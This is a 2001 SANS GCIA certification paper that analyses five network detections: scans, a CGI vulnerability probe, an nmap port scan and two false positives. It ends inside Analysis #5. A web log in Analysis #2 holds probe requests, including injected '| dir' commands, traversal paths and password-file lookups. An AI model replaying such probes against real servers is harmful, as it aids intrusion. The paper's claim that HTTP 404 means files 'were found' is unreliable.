This paper, written as a case study in 2001, provides a detailed analysis of several anomalous network events, and illustrates the techniques for examining alerts and logs generated by a network intrusion detection system. This document was submitted to SANS GIAC to fulfill GIAC Certified Intrusion Analyst (GCIA) certification requirements.

Part 1: Network Detects

Analysis #1

Analysis #2

Analysis #3

Analysis #4

Analysis #5

Part 2: Evaluate an Attack

Attack Tool Identification

Description of Attack

Network Trace of Attack

Part 3: "Analyze This" Scenario

Analysis Methodology

Top Alert Destination Hosts

Top Alert Source Hosts

Top Scan Destination Hosts

Top Scan Source Hosts

Scan Sources from MY.NET

Summary

Network Detects: Analysis #1

Event Traces

This analysis correlates event traces from multiple sites and multiple attacking hosts. It starts off with host 207.78.247.50, which was seen scanning networks for DNS and Web proxy servers.

1. Source of Traces

The traces were collected from various Web sites by searching the Web for the attackers' addresses, primarily using the Google search engine. Each trace is attributed to the source URL in the text of the analysis.

2. Detect Generated By

Because of the nature of gathered traces, detects presented throughout this analysis were generated by a variety of tools such as Snort, Shadow, and BlackICE. While these traces might differ slightly in format, they usually describe the event according to its source and target host address and port, and offer different degrees of details about the event.

3. Probability that Source Address was Spoofed

This analysis discusses three source host addresses that operate in a very similar manner and follow a somewhat predictable pattern of actions. Because none of the collected traces document a completed TCP handshake, it is possible that they have been spoofed in an attempt to frame relevant hosts. However, the widespread nature of reported events makes this a somewhat unlikely possibility. A more thorough investigation needs to commence to determine whether the addresses were actually spoofed.

4. Attack Description

The attack involves scanning a large number of hosts for the presence of DNS (port 53) and Web proxy (port 8080) services. Each discovered attack host was first seen scanning networks for DNS, and at a later date scanning for Web proxies. In all cases, traffic was TCP-based with the source port of 65535. Additionally, during each particular scan session attackers used the same TCP sequence number and IP ID number for all packets. This behavior is illustrated in the Attack Mechanism section below.

Typically, attackers scan for DNS servers in an attempt to exploit one of many vulnerabilities historically present in DNS software. These attacks are included in the beginning of the SANS List of the Top Ten Internet Security Threats, and are documented in the CVE database as CVE-1999-0833, CVE-1999-0009, CVE-1999-0835, etc. Discovered Web proxy servers might be used to obfuscate the attacker's location when issuing CGI-based attacks, to get around Web access filters present in some countries and organizations, as well as to exploit vulnerabilities in Web proxy software to gain access to the proxy server.

5. Attack Mechanism

As demonstrated by traces above, 207.78.247.50 exhibited the following behavior. In the initial phases of its activity it scanned networks on the Internet for DNS only, and later progressed to scanning for Web proxies only. Data available for proxy scans shows that this host limited itself to SYNC packets with the source port of 65535.

Similar behavior was also seen from a seemingly unrelated attack host 202.235.50.12. It, also, first appeared on the radar of analysts performing DNS scans of systems across the Internet, and later moved on to scan for proxy servers. (See details below.) In this case, connections to port 8080 (http-proxy) also originated from port 65535. Moreover, available data shows that connections to port 53 (dns) originated from port 65535 as well. In addition, available data shows that during a single scan, the host did not change TCP sequence numbers nor IP ID numbers of its packets.

Similarities in packets between scans for port 53 and port 8080 indicate that the same subsystem is used to generate these sets of packets. Similarities between the traces from 207.78.247.50 and 202.235.50.12 suggest that both attackers used the same tool. Moreover, the behavior of scanning for DNS first, and then for proxies indicates that both attackers used the same approach to scanning, or that they both represent the same person.

Another host 195.76.27.44 was seen exhibiting the same scanning behavior as the two mentioned above, and reinforces the connection between scanning patterns discussed earlier. Note that TCP sequence numbers and IP IDs stay unchanged throughout the trace that contains this level of detail. At the moment of this analysis this host's activity is limited to targeting DNS services. It is likely that 195.76.27.44 will begin scanning for proxy servers in the near future.

6. Correlations

This analysis was based primarily on correlating events found on the Web. Specific correlations were discussed in sections above.

7. Evidence of Active Targeting

At the moment there is no evidence of active targeting, though thorough investigations into each scanned site might explain why sometimes hosts were scanned sequentially, and sometimes by skipping one or two addresses.

8. Severity

Typically, the following formula is used to calculate severity of the attack. The metrics are assigned on a five point scale, 5 being the highest, 1 being the lowest.

Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

However, the formula is not very helpful in this case, as it cannot easily take into account the wide-spread nature of reported attacks that would certainly increase the severity value. Some metrics can still be assigned on a general scale. Systems did not seem to be targeted specifically; criticality = 2; The attack seemed primarily probing in nature; lethality=1. Since in this case different organizations were scanned, each site will need to assign its own values to system and network countermeasures metrics.

9. Defensive Recommendations

Perform detailed investigations on scanned sites to determine the nature of the targeting mechanism. Contact administrators of sites that perform scanning to cease the activity and obtain access to attack tools. Create attack signatures based on information presented in the analysis to quickly catch events associated with these scans.

10. Test Question

Which of the following attributes suggests that packets below have been crafted?

00:03:21.680333 216.164.222.250.1186 > us.us.us.33.8080: S 1309933568:1309933568(0) win 512
00:03:21.810732 216.164.222.250.1189 > us.us.us.40.8080: S 1309933568:1309933568(0) win 512

1. Source address
2. Source port
3. TCP sequence number
4. Window size

Answer: C. Under normal conditions, the TCP sequence number changes whenever a host sends a packet to a new system. In the exhibit, us.us.us.33 and us.us.us.40 are targeted using the same TCP sequence number of 1309933568.

Network Detects: Analysis #2

Event Traces

The following entries were obtained from a Web server access log. The attacker's host name was obfuscated by replacing the source host name with "scanner.com." Any resemblance to actual systems or networks is purely coincidental.

Source IP | Date and Time | HTTP Request | Server Response
scanner.com - - [18/Apr/2000:23:25:49] "HEAD /cgi-bin/faxsurvey HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:49] "HEAD /cgi-bin/wrap HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:50] "HEAD /cgi-bin/webdist.cgi HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:50] "HEAD /cgi-bin/handler HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:51] "HEAD /cgi-bin/pfdispaly.cgi HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:54] "HEAD /cgi-bin/view-source HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:54] "HEAD /cgi-bin/php.cgi HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:55] "HEAD /cgi-bin/aglimpse HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:55] "HEAD /cgi-bin/webgais HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:55] "HEAD /cgi-bin/campas HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:56] "HEAD /cgi-bin/www-sql HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:56] "HEAD /cgi-bin/info2www HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:56] "HEAD /cgi-bin/man.sh HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:57] "HEAD /scripts/convert.bas HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:57] "HEAD /cgi-bin/whois_raw.cgi HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:25:57] "HEAD /cgi-bin/nph-test-cgi HTTP/1.0" 404
... cut for brevity ...
scanner.com - - [18/Apr/2000:23:26:14] "HEAD /_vti_pvt/administrators.pwd HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:50] "HEAD /cfdocs/expelval/sendmail.cfm HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:51] "HEAD /cfdocs/expelval/exprcalc.cfm HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:51] "HEAD /showfile.asp HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:52] "HEAD /cfdocs/expelval/openfile.cfm HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:55] "HEAD /ws_ftp.ini HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:55] "HEAD /cgi-dos/args.cmd HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:56] "HEAD /cgi-shl/win-c-sample.exe HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:56] "HEAD /cgi-bin/passwd.txt HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:57] "HEAD /cgi-win/uploader.exe HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:57] "HEAD /........./autoexec.bat HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:26:59] "HEAD /cgi-bin/rwwwshell.pl HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:00] "HEAD /cgi-bin/unlg1.1 HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:00] "HEAD /.html/............/autoexec.bat HTTP/1.0" 404
... cut for brevity ...
scanner.com - - [18/Apr/2000:23:27:12] "HEAD /cgi-bin/test.bat HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:13] "HEAD /cgi-bin/input.bat HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:13] "HEAD /cgi-bin/input2.bat HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:13] "HEAD /ssi/envout.bat HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:14] "HEAD /msadc/msadcs.dll HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:14] "HEAD /scripts/tools/newdsn.exe HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:14] "HEAD /cgi-bin/get32.exe | dir HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:15] "HEAD /cgi-bin/alibaba.pl | dir HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:16] "HEAD /cgi-bin/tst.bat | dir HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:16] "HEAD /publisher/ HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:18] "HEAD /.htaccess HTTP/1.0" 403
scanner.com - - [18/Apr/2000:23:27:19] "HEAD /.htpasswd HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:19] "HEAD /cgi-bin/Cgitest.exe HTTP/1.0" 404
scanner.com - - [18/Apr/2000:23:27:19] "HEAD NOTE: Your server has been scanned for default vulnerabilities! HTTP/1.0" 400

1. Source of Traces

The trace originated from a monitored Web server.

2. Detect Generated By

Searching through Web server log entries that contained both "cgi-bin" and "passwd" tags uncovered the following record:

Searching for log entries containing the offender's source address revealed traces that were included in the beginning of this analysis. The records were obtained from the access_log file of a slightly customized Apache Web server. Relevant fields specify the client's source address, date and time of access, the command issued to the server, followed by the server's response code. Significance of specific fields is discussed in the analysis of the detect.

3. Probability the Source Address was Spoofed

It is unlikely that the source address was spoofed, since the attacker needed to receive responses from the Web server to his/her requests. If the source address was spoofed, the attacker would need to intercept the responses en-route. Since the attacker's requests were processed by the application server, TCP connections were fully established on the transport layer, which is challenging to do when spoofing the source address.

4. Attack Description

Event traces presented above document a scan for vulnerable CGI programs and application extensions often found on default installations of Web servers. Vulnerable programs that can be accessed remotely through the Web interface may be used by attackers to obtain elevated privileges on the targeted Web servers. Although the discovered attack dates back several months, its tool set and techniques are active during the time of this analysis.

The attacker attempted to access programs and files that can be exploited to gain elevated privileges on the Web server. The server responded with the code "404" to most queries, indicating that the majority of the probed files were found. The server responded with the code "403" to an attempt to access an existing /.htaccess file, indicating that access to that resource is forbidden. None of the resources investigated by the attacker were available for exploitation.

The attacker issued a "HEAD" command, used to obtain meta information about the requested resource without actually receiving the body of the file. This can be compared to a commonly used "GET" request, that actually retrieves the desired resource if it is found on the Web server. The "HEAD" command was probably used to speed up the scan that does not need to retrieve the file to determine whether it exists. More information about HTTP commands is available in sections 9.3 and 9.4 of RFC 2616.

The last line of the scan contained a signature phrase of a vulnerability scanner known as Narrow Security Scanner. (See details below.) This tool is able to locate exploitable Web-based applications, as well as services such as named, rpc, ftpd, imapd, pop3 and linuxconf.

When the scan was performed, the latest version of the tool was pre10, released on 26 March 2000. However, files that the user attempted to access exactly matches the list of exploits present in version pre1, released 21 December 1999. A prior version lacks checks for /cgi-bin/perl.exe, /cgi-bin/unlg1.1, and /cgi-bin/rwwwshell.pl. A later version includes an additional check for /cgi-bin/GW5/GWWEB.EXE that was not seen in the trace.

Note that the attacker seemed be using a version of the program outdated by at least nine releases. As Narrow Security Scanner was being developed, its database of vulnerabilities expanded. Additionally, starting with version pre5, it began treating UNIX and Windows-based targets differently, limiting its probes to the relevant Operating System. In our trace, both UNIX and Windows-based vulnerabilities were probed during the scan.

An inconsistency in this analysis arises from the fact that versions of the scanner prior to pre6 resulted in approximately 5-10 second delay between requests submitted to the server. In our case, however, requests arrived much more rapidly, in many cases at the rate of several connections per second. (See details below.) Version pre6 improved the program's code used for retrieving data from the server. (See details below.) Yet, the improved version of the program would have resulted in a different set of files getting accessed, and conflicts with the information present in our trace. The attacker might have been using a customized version of the program, which would explain an outdated set of exploit probes combined with superior scanning speed. In fact, incorporating the improved code from version pre6 to pre1 results in the exact signature seen in the trace.

6. Correlations

Vulnerable CGI programs and application extensions installed on Web servers are included in the SANS List of the Top Ten Internet Security Threats. Scanners such as the Narrow Security Scanner are particularly effective during the reconnaissance-gathering stages of an attack, for helping attackers locate Web server components that can be exploited to compromise the targeted system. Many other scanners operate in a manner similar to the one used to perform the attack discussed in this analysis. (See details below.)

A variety of scanners is available on the Internet for discovering Web server vulnerabilities:

• Whisker: Highly configurable and powerful, special provisions for bypassing Intrusion Detection Systems.
• VoidEye: Large exploit database, user-friendly GUI, also supports anti-IDS tactics.
• Infinity Scanner: Part of a Web-based collection of tools for security auditing.
• Cgichk: Yet another vulnerability scanner, ported to various programming languages.

Entries in vulnerability databases of Web application scanners often overlap. For example, many tools check for existence of the following programs on targeted web servers: nph-test-cgi (CVE-1999-0045), GWWEB.EXE (CVE-1999-1005), webgais (CVE-1999-0176), and faxsurvey (CVE-1999-0262). Scans for these and other vulnerable programs are often reported to the Global Incident Analysis Center, as witnessed by searching the site.

7. Evidence of Active Targeting

Since traces used in this analysis date several months back, little information is available to infer whether the server was actively targeted. The Narrow Security Scanner is capable of scanning a wide range of services in addition to those accessible through the Web server; however, no records are available to determine what other services were accessed on the targeted server. According to Web server records, no other activity was seen from scanner.com, and no suspicious behavior was reported in the time vicinity of the scan.

Overall, the Narrow Security Scanner seems to be used for scanning a wide range of hosts to locate vulnerable services. In fact, the ability to supply a single target host on the command line did not become available until release pre10 of the program, which appeared towards the end of the scanner's life cycle.

8. Severity

We use the following formula to calculate severity of the attack. The metrics are assigned on the five point scale, 5 being the highest, 1 being the lowest.

Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

The system targeted in the scan supported mail, Web, and DNS services; criticality = 5. The attack was primarily probing in their nature; lethality = 1. The target server was well-maintained, and did not run any commonly-exploited Web-based applications; system countermeasures = 3. The target was protected by a well-tuned firewall; network countermeasures = 4. This results in the attack severity of -1, as illustrated below:

(5 + 1) - (3 + 4) = -1

9. Defensive Recommendation

Overall, the targeted server is well-protected against common Web-based application vulnerabilities. However, the scan should have been discovered a lot earlier, so the primary recommendation is to increase the level of Web server monitoring.

10. Test Question

Which of the following is the most likely reason for choosing to use HEAD requests instead of GET requests when scanning for the presence of vulnerable Web-based applications?

1. To proxy requests through another Web server
2. To exploit vulnerabilities while scanning
3. To speed up the scan
4. To avoid detection

Answer: C. The HEAD request is used obtain meta information about the requested resource without actually receiving the body of the file. Alternatively, the GET request actually retrieves the desired resource if it is found on the Web server. HEAD requests speed up the scan because the attacker's client application does not need to wait for the file to be retrieved when it is found on the targeted server.

Network Detects: Analysis #3

Event Traces

Syslog entries presented below document connection attempts to several ports that the target.com listens on: ssh, imaps, and telnet. Access to telnet is heavily restricted via TCP Wrappers, and represents the alarm that triggered the investigation. Original host names were obfuscated by replacing the source host name with "storm.com" and the target host name with "target.com." Any resemblance to actual systems or networks is purely coincidental.

Argus IDS provides another perspective on these events.

1. Source of Traces

The traces were obtained from a monitored production network, in a distant corner of the Internet.

2. Detect Generated By

Host-based records were generated by Syslog on the target system target.com. In this detect, Syslog consolidated information from sshd, simapd, and telnetd. Access to these services is restricted via TCP Wrappers. These are some of the few services the host accepts connections on; most other ports are blocked by a firewall. A program called Logcheck was used to monitor Syslog events and notify the administrator when a suspicious event occurs.

Network traces were obtained using Argus, a network transaction auditing engine that records changes in the state of TCP/IP connections. Unlike tcpdump-style tools, Argus does not retain record per-packet information for each connection; instead, it monitors the flow of IP traffic, recording state changes in connections based on TCP, UDP and ICMP protocols. This approach allows the system to consolidate information relating to any connection into very few audit records, but looses a degree of of fidelity associated with raw logs generated with tools such as tcpdump.

Argus reports network transactions in the following manner: day, date and time when the transaction ended; transport protocol associated with the transaction; source addresses and ports comprising the connection, separated by a tag indicating the direction in which packets were traveling; the number of packets sent in each direction, as well as the number of bytes (these fields are paired with the previous host fields, and represent data transmitted by the respective host); status of the transaction.

When Argus state machine is unsure whether a packet belongs to an existing connection, it displays a question mark instead of an arrow tag in the destination field. When a connection is timed out from the state machine of the program, Argus displays "o" and a reset packet is indicated by " | " in the direction field. A TCP connection initiation packet (lone SYN) is indicated by the "REQ" status tag; connection acceptance (SYN + ACK) is indicated by "ACC," and an ongoing established connection, preceded by a long ACK packet, is tagged as "EST." Minor nuances of the program's output are explained in the analysis section of this detect.

3. Probability the Source Address was Spoofed

It is unlikely that the source address was spoofed. As Argus records indicate, the source host successfully completed the three-way handshake when connecting to open TCP ports. This is further confirmed by Syslog records, which document that connections to these ports were fully established. While it is, theoretically, possible to establish a connection using a spoofed address by predicting the target's TCP sequence numbers, there is no evidence of sequence number assessment. Furthermore, the target host is running OpenBSD, which employs a good TCP sequence number generation algorithm, making its sequence numbers very difficult to predict.

4. Attack Description

Argus and Syslog records indicate that this was a TCP port scan of target.com, probably launched with the intent to discover which ports are open on the host. The attacker targeted all privileged ports in the range of 1-1023, and selective ports in the higher range. A port scan is commonly used during the reconnaissance-gathering stage of an attack to locate services that can be exploited to gain control of the target.

5. Attack Mechanism

According to Argus records, the highest ports scanned were 65301, 47557, 43188, 32787, 32786, and 32780. (See details below.) This suggests that nmap may have been used to orchestrate the scan, since these ports correspond to the highest ports mentioned in the "nmap-services" file that is distributed with nmap, a popular network exploration tool.

This was a "connect" scan, where TCP connections were fully established on ports that target.com is listening on. This is evident because whenever target.com would respond to a packet from storm.com (destination ports 22, 993, 23, 80, etc.), the TCP session would be established until target.com sent a RST or a FIN packet. (See details below.) This is supported by Syslog records, which document connection attempts to several ports open on target.com; this information is typically not logged unless the TCP connection is fully established. A more stealthy alternative would have been to employ a SYN scan, where the attacker does not actually complete the three-way handshake to decrease chances of the connection attempts getting logged.

The port scan was immediately preceded with a packet destined for port 80 on target.com. Its purpose was most likely to determine whether the host was up before launching the scan. The approach of using a TCP-based "ping" is often preferred to the original ICMP-based one, since many firewalls block incoming ICMP echo-request packets. Argus seemed confused by the "ping" packet to port 80, which indicates that this was not the lone SYN packet typically used to initiate a proper connection. (See details below.) This suggests that this was a lone ACK packet, which is supposed to be used in the last phase of the three-way handshake. This technique is implemented by nmap, and is effective at determining whether the target system is up, since hosts that are up respond with a RST packet. Had target.com not responded with a RST packet, the scan would have probably not commenced. Note that the source port for the initial packet (61366) is in a different range from source ports of other packets (1025-4999), which further separates this connection attempt from the rest of the attack.

When launching a scan using default parameters, nmap attempts to verify whether the host is up by issuing both ICMP and TCP-based "ping" packets. Since there are no records of an ICMP request to target.com originating from storm.com, the attacker probably used the "-PT" parameter to modify the program's default behavior. In addition, if the attacker was not logged in as root when launching the scan, then a lone SYN packet would have been sent to the target's port 80. The program uses a lone ACK packet instead of the SYN packet if the user is logged in as root. Therefore, the "connect" scan of target.com was most likely launched using the following command on storm.com while logged in as root:

storm# nmap -PT target.com

Since the attacker had root on the source system, as evidenced by a lone ACK packet in the beginning of the scan, why did he/she issue a full connect scan, instead of utilizing a more stealthy half-open alternative? Perhaps the attacker was not aware of the differences, which is somewhat unlikely since he/she bother to use a non-default "-PT" command-line parameter. Perhaps the attacker cared more about the effectiveness of the scan than about its stealthiness. A half-scan may not get accurate results if the target's firewall is able to complete TCP handshakes on behalf of the target and thus prevents packets from reaching the protected host until the connection is actually established. For instance, this functionality is provided by Check Point FireWall-1 SYNDefender module.

According to Argus records, source ports were incrementing sequentially during the scan. Some Operating Systems, for example OpenBSD, would have randomized source port numbers. This suggests that the scan originated from a machine whose Operating System increments source ports sequentially, such as FreeBSD or Red Hat Linux.

6. Correlation

Argus event records, used to perform detailed analysis of the attack, are consistent with Syslog records of the targeted host, both in time and in destination ports. Syslog presented application-level information about ports that target.com listens on, which Argus logs contained transport and network-level information about all traffic between storm.com and target.com. More information about nmap behavior is available in SANS Institute Intrusion Detection FAQ in article such as "What is Nmap and What Can It Do?" as well as "RPC and NMAP Patterns." Port scans are quite common on the Internet, and are rarely a cause of alarms unless patterns of targeted behavior are discovered.

7. Evidence of Active Targeting

A search through Syslog archives revealed that storm.com established a connection to TCP port 22 on target.com two days prior to the scan. (See details below.) Argus records are not available for this event, but system logs indicate that this was the only recent connection with storm.com that took place outside the actual scan. According to the logs, the attacker did not actually try to login to the system.

While a connection to a single port may indicate that the target host is one of several hosts being scanned for existence or a particular service, it is generally uncommon to have the scanner target the SSH port only. Since no records about other hosts on the network are available, it is unclear whether this connection attempt, or the later port scan, was part of a larger attack on a group of hosts. Possibly, the initial connection was an attempt to discover a particular version of SSH that could be exploited to gain control of the target. For example one of such vulnerabilities is present some versions of SSH 1 daemons. (See CVE-1999-0834 for more information.)

Because storm.com established "unusual" connections to target.com on two separate occasions, there is reason to believe that target.com is being investigated for possible exploits. The degree of active targeting is relatively uncertain, however, since records about other hosts on the targeted network are not available.

8. Severity

We use the following formula to calculate severity of the attack. The metrics are assigned on the five point scale, 5 being the highest, 1 being the lowest.

(5 + 2) - (3 + 4) = 0

9. Defensive Recommendation

The targeted system is protected against this attack to the extent that its services and business requirements allow. Administrators should continue monitoring system logs for activity from storm.com, as well as for suspicious activity from other hosts that suggests active targeting. Administrators should retain Argus logs longer, and work towards sharing intrusion-related information with neighboring hosts.

10. Test Question

Which of the following is the LEAST effective indicator that the attacker's source address is not spoofed?

1. Network IDS logs show that the TCP connection was fully established
2. Syslog contains a record of a failed telnet login attempt using an incorrect password
3. Web server logs show an attempt to access a potentially vulnerable CGI program
4. Firewall logs warn of an attempt to ping a network broadcast address from the outside

Answer: D. Logging in via telnet, as well as accessing a CGI program via HTTP requires the TCP connection to be fully established, which is difficult to accomplish if the attacker uses a spoofed source address. ICMP-based ping packets, however, are stateless, and are often spoofed, especially when targeting a network broadcast address in a Smurf-like attack.

Network Detects: Analysis #4

Event Traces

The following records were obtained from Syslog on mail.my.net. Original host names and MAC addresses were obfuscated. Any resemblance to actual systems or networks is purely coincidental.

1. Source of Traces

The traces originated from a host on a home network identified as my.net.

2. Detect Generated By

Host-based records were generated by Syslog running on myhost.my.net. Logcheck was used to monitor Syslog logs and notify the administrator when a suspicious event occurs.

3. Probability the Source Address was Spoofed

Syslog messages indicate that the MAC address associated with server.my.net is alternating between two values. This suggests a viable possibility that the address for server.my.net is being spoofed via a technique such as ARP cache poisoning, or that another host on the network is attempting to use server.my.net's IP address.

4. Attack Description

An ARP cache poisoning attack involves sending crafted ARP packets to a host with the intent to map the attacker's MAC address to the IP address of the system that is being spoofed. Because ARP implementations are generally stateless, the host may accept this information even when it did not ask for it, and will use the attacker's MAC address when sending packets to the IP address of the spoofed system. To prevent the host from obtaining the real MAC address of the spoofed system, the attacker may periodically repeat false ARP transmissions so that the the ARP entry does not expire from the host's cache. This attack requires that all hosts involved in the attack are on the same LAN. A similar effect can be achieved by setting the attacker's IP address to that of the spoofed system on the OS level, but this approach does not offer the same level of control as the manual ARP spoofing attack, and is generally easier to detect. If successful, the spoofing attack could culminate in usurping the trust relationship between the trusting host and the spoofed system.

This event turned out to be a false positive, despite the analysis that suggested a possibility of an attack. According to network engineers at my.net, the effects seen by the IDS were attributable to a misconfigured load-balancing mechanism that was being installed at the time of the "incident." Alerts stopped as soon as the load balancer was configured properly.

5. Attack Mechanism

When investigating the incident, the analyst found several Argus records associated with MAC address that was attempting to map itself to the IP address of server.my.net. (See details below.) These records are typical of the ones seen during normal system operation throughout the day, and indicate that 00:00:00:00:00:01 was an SMTP client of mail.my.net (destination port 25) and an NTP server (destination and source port 123). Argus is described in the appropriate section in Analysis #3. In addition to network and transport-level information present in most Argus records, this trace contains source and destination MAC addresses of hosts participating in network transactions.

According to Argus records, the suspicious MAC address belonged to time.my.net. If server.my.net was being spoofed, then the attacker was using a program such as send_arp.c on time.my.net, which sent crafted ARP packets to mail.my.net, specifying that to communicate with server.my.net it needed to send Ethernet frames to 00:00:00:00:00:01. This way, the attacker would receive packets destined for server.my.net, whose true MAC address was actually 00:00:00:00:00:02. This assessment is consistent with alternating MAC addresses seen in Syslog, which match effects of a possible race condition between ARP replies of the true server.my.net and its imposter. For this attack to succeed, time.my.net, a critical resource in the organization, would need to be compromised.

The most common explanation for "arp info overwritten" messages is actually a conflict between two machines, both of which are assigned the same IP address. In this scenario, both time.my.net and server.my.net might be attempting to use the same IP address, originally assigned to server.my.net. Syslog might have been documenting attempts by these hosts to claim ownership of the same IP address.

A load balancing technique, which turned out to be the real cause of detected alerts, involved a legitimate attempt to balance services hosted server.my.net by using two actual machines. Systems communicating with server.my.net via its IP address would be redirected to a different member of the cluster, uniquely identifiable by its MAC address.

6. Correlations

The ARP spoofing attack, along with the send_arp.c program, was discussed on the Bugtraq mailing list in September 1997. This technique is currently under review for inclusion in the CVE database, and was assigned ID CAN-1999-0667.

System configuration aspects of "arp info overwritten" messages in BSD-based kernels was discussed on the Mac OS X Administration and BSDI Users mailing lists. The messages were also mentioned briefly on the GIAC site.

7. Evidence of Active Targeting

Had this event not been a false positive, it would have presented substantial evidence of active targeting. The attacker could have been attempting to exploit a trust relationship between myhost.my.net and server.my.net by impersonating server.my.net from a compromised host time.my.net.

8. Severity

Since this event was turned out to be false positive, severity calculations hold little practical purpose in the realm of attack metrics. However, looking at this event as a detected system malfunction, one may still assign it a severity value. We use the following formula to calculate severity of the incident. The metrics are assigned on the five point scale, 5 being the highest, 1 being the lowest.

Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

The "spoofed" host is not a critical resource in the organization, with criticality of 2. Since the incident did not have a malicious intent, its lethality is 1. All hosts involved were well-maintained and protected by host-based IDS; system countermeasures = 5. Network countermeasures were not actively involved in the incident, and receive a neutral value of 3. This results in the event severity of -5, as illustrated below:

(2 + 1) - (5 + 3) = -5

9. Defensive Recommendation

Continue monitoring host and network alerts for suspicious behavior. Correct load balancing misconfigurations. Improve communication between intrusion detection and network operation groups.

10. Test Question

Which of the following is the most likely explanation for "arp info overwritten" messages on a BSD-based system?

1. Two systems have the same IP address
2. Two programs try to bind to the same port
3. The system is under a Smurf attack
4. The system is functioning properly

Answer: A. If multiple systems on a LAN get assigned the same IP address, they will each try convincing their neighbors that their MAC address is the correct address for communicating with the IP address in conflict.

Network Detects: Analysis #5

Event Traces

Argus reported a packet leaving the home network destined to a suspicious port and host. Looking through logs with an increased time window suggested that the unusual packet was associated with the onset of an IRC session. The name of the host on the home network has been sanitized to appear as "myhost.com," and the IRC server's name to appear as "ircserver.com." Any resemblance to actual systems or networks is purely coincidental.

1. Source of Traces

A server on a home network providing users with interactive shell accounts.

2. Detect Generated By

This detect was generated using Argus, which was tuned to warn about destination ports that are not typically used in the organization. Manually querying the Argus database for events within a few seconds of the unusual packet produced IRC-related packets that seemed associated with suspicious traffic. Format of Argus records is described in the appropriate section in Analysis #3.

3. Probability the Source Address was Spoofed

Suspicious traffic originated from an existing host on the home network. Subsequent analysis, presented in sections below, attributed traffic to an application running on an existing host, and eliminated the possibility that the packet was spoofed.

4. Attack Description

Traffic to UDP port 666 is not normally seen on this network, and initially seemed to belong to one of many trojans that use this port (Attack FTP, Back Construction, Cain & Abel, Santaz Backdoor, ServeU, Shadow Phyre). Additionally, this could have been a malicious agent attempting to contact its home base after infecting myhost.com.

This was a false positive. After an investigation the packet was attributed to a popular IRC client called BitchX. Apparently, in an attempt to gather statistics about its users, the BitchX client generated a single UDP packet that contained the user's application version and Operating System. While this behavior was documented in the program's code, it violated the organization's security policy by leaking internal information to a third-party site.

5. Attack Mechanism

In the same second as the UDP packet was sent to port 666, a TCP connection was initiated to TCP port 6667 of a known IRC server. This suggested that the suspicious traffic might be associated with IRC, which users on the home network occasionally use. A subsequent launch of the BitchX program, which was one of the IRC clients installed on myhost.com confirmed that the client sent a packet to a BitchX host whenever the program was launched. (See details below.)

Looking through the program's source code, the initial assertion was confirmed. The program's file called "cl.c" was responsible for generating the UDP port 666 packet that was seen on the traces. (See details below.) Note that the latest release of BitchX, version 75p2, sends the packet to 207.195.94.2, while version 75p3 send the packet to 207.195.111.2.

The call home functionality of the program is controlled by a flag in the "include/config.h" file, and is turned on by default. (See details below.) During compile time the configuration procedure warns the installer that the program will gather one-packet statistics about its usage, and explains how this functionality can be disabled. It is unfortunate, however, that the functionality is enabled by default, since it is unlikely that an installer who does not pay attention to security issues will bother modifying the program's source code. Furthermore, pre-built packages of the program are unlikely to allow the administrator to turn off this functionality.

6. Correlations

Port 666 is often associated with malicious software, and is used by a variety of trojans, as reported by the NiteRyders Reference Desk and the SANS Institute. Call home behavior of BitchX seems to have been questioned on the LUGOS mailing list in March 1999. Various "spyware" programs are discussed on the Steve Gibson's OptOut site.

7. Evidence of Active Targeting

Behavior illustrated in this detect is present in all copies of recent versions of the BitchX IRC client, unless the call home functionality is manually disabled during compile time. This indicates that myhost.com was not actively targeted in this incident.

8. Severity

We use the following formula to calculate severity of the incident. The metrics are assigned on the five point scale, 5 being the highest, 1 being the lowest.

Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

The host running the BitchX client was a multi-user, multi-purpose machine; criticality = 4. The incident was not specifically malicious in nature, but could have obtained sensitive internal information in the form of host OS and client version; lethality = 2. The host was well-maintained and protected by a host-based IDS; system countermeasures = 4. The firewall was in-place, and blocked outbound call home traffic; network counter measures = 4. This results in the attack severity of -2, as illustrated below:

(4 + 2) - (4 + 4) = -2

9. Defensive Recommendation

